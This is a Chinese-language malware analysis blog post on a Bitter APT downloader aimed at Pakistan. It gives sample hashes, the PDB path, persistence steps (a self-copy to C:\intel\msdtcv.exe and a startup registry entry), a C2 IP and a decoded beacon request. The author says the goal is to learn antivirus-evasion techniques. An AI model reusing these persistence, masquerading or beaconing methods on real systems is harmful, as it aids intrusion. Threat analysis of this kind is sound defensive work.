蔓灵花APT组织针对巴基斯坦定向攻击的样本分析
郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,如果您不同意请关闭该页面!任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
前言
开个新坑,学习下样本分析看看有什么好的免杀技术能够让我整合的,第一篇文章就参考Crazyman师傅写文章的和网上各个沙箱的已有的内容

样本
文件类型 | PE32 executable (console) Intel 80386, for MS Windows |
---|---|
文件大小 | 31KB |
MD5 | 8d42c01180be7588a2a68ad96dd0cf85 |
SHA1 | 89a7861acb7983ad712ae9206131c96454a1b3d8 |
SHA256 | 0b2a794bac4bf650b6ba537137504162520b67266449be979679afbb14e8e5c0 |
时间戳 | 0x5C32FC2B (Mon Jan 07 15:13:47 2019) |
PDB | c:\Users\Asterix\Documents\Visual Studio 2008\Projects\28NovDwn\Release\28NovDwn.pdb |
数据 | 样本和IDA数据库下载 |
沙箱数据
开始分析
先在前面放几个经常用到的文档和x64gdb相关插件
-
CSIDL values
https://tarma.com/support/im9/using/symbols/functions/csidls.htm
https://www.nirsoft.net/articles/find_special_folder_location.html
https://docs.microsoft.com/en-us/windows/win32/shell/csidl
本文对样本静态和动态同步分析,样本拿来先丢到pestudio中看下数据,结果在里面看到了PDB的路径
接着丢IDA中分析,首先找到WinMain函数,可以看到第9行有一个自定义函数sub_401140
进入函数sub_401140可以看到就是一个注册窗口相关的,该函数第7行的sub_4011D0是用来处理窗口的
sub_4011D0内容如下
接着我们回到WinMain函数,从第9行到第17行的内容看截图的注释就能明白了,我们重点看sub_401330函数,进入函数中看到281行和282行创建了c:\\intel\\
路径
接着往下看
在332行中有个sub_403B00函数,函数大概的意思就是还是创建一个文件夹,下图是该函数的有用的内容
339行的sub_401F00是一个注册列表函数,我们进到函数里面中分析
接着动态调试到这个点时,看注册列表内容
我们回到调用函数中继续跟
接着到355行可以看到下图的动态调试结果,是打开了开机运行值中
然后356行创建了一个多线程,运行的函数为StartAddress
,我们进入到该函数中查看,函数内容如下图
可以看到是想从系统环境变量模块中获取到ComSpec
的值,我们动态调试解出来是为C:\\WINDOWS\\system32\\cmd.exe
然后我们找一台正常的机器来看看是否是都是这个值
接着调试,可以看到其实是做了一个copy自身到C:\\intel\\msdtcv.exe
位置,下图可以看到内容结果
我们接着看到火绒剑,可以看到CMD进行读写操作
然后我们接着跟进到360行的sub_404670
中,可以看到就这写入开机启动项
接着往下看366行开始到412行都是获取系统相关内容
接着跟到469行sub_402BA0
函数为下载核心函数,由于服务器已经关了,无法动态分析,大概的内容就是下载函数到C:\Users\ascotbe\AppData\Local\Microsoft\Windows
目录然后执行该函数
由于不能分析返回以后的功能,那么我们回到423行,进入函数sub_402890
分析请求了什么东西
动态调试可以看到下图,微步获取到的ip为162.222.215.90和我获取到的不同,该进程应该是有个IP池(猜测),如果获取不到,就会换一个IP来请求
通过解码得到如下内容
GET /ourtyaz/qwe.php?TIe=4fc5fce9.8958.5:68.b76:.df147:ee9526*EFTLUPQ.V:OIKG8*22ACme;!7/3/:311! HTTP/1.1 |
那么分析就结束了,踩了好多坑,但是学到了挺多的东西很开心~